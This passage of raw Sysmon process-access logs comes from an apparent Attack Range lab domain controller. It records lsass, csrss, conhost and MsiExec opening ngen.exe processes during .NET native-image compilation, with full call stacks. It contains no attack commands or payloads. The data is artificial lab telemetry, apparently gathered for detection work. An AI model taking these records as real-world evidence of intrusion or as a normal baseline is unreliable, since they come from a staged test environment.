STEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.632{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6507-00000000F001}6888c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.632{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6507-00000000F001}6888c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.616{7BD73061-6F1F-613B-6607-00000000F001}5176348C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6507-00000000F001}6888c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.600{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6607-00000000F001}5176C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.600{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6507-00000000F001}6888c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.600{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6507-00000000F001}6888c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.585{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6307-00000000F001}5508c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.585{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6307-00000000F001}5508c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.569{7BD73061-6F1F-613B-6407-00000000F001}62645900C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6307-00000000F001}5508c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.569{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6407-00000000F001}6264C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.569{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6307-00000000F001}5508c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.569{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6307-00000000F001}5508c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.554{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6107-00000000F001}6140c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.554{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-6107-00000000F001}6140c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.554{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D70ECD1368D9E05ED4E700AEC1F6490,SHA256=666434E54023684770283D6B58750D9E2790CEA88569DF2893B7D99C1FB5F155,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.538{7BD73061-6F1F-613B-6207-00000000F001}63723420C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-6107-00000000F001}6140c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.522{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6207-00000000F001}6372C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.522{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6107-00000000F001}6140c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.522{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-6107-00000000F001}6140c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.507{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5F07-00000000F001}4776c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.507{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5F07-00000000F001}4776c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.491{7BD73061-6F1F-613B-6007-00000000F001}51606352C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5F07-00000000F001}4776c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.491{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-6007-00000000F001}5160C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.475{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5F07-00000000F001}4776c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.475{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5F07-00000000F001}4776c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.475{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5D07-00000000F001}5524c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.475{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1F-613B-5D07-00000000F001}5524c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.460{7BD73061-6F1F-613B-5E07-00000000F001}53445320C:\Windows\system32\conhost.exe{7BD73061-6F1F-613B-5D07-00000000F001}5524c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.444{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5E07-00000000F001}5344C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.444{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1F-613B-5D07-00000000F001}5524c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:43.444{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1F-613B-5D07-00000000F001}5524c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 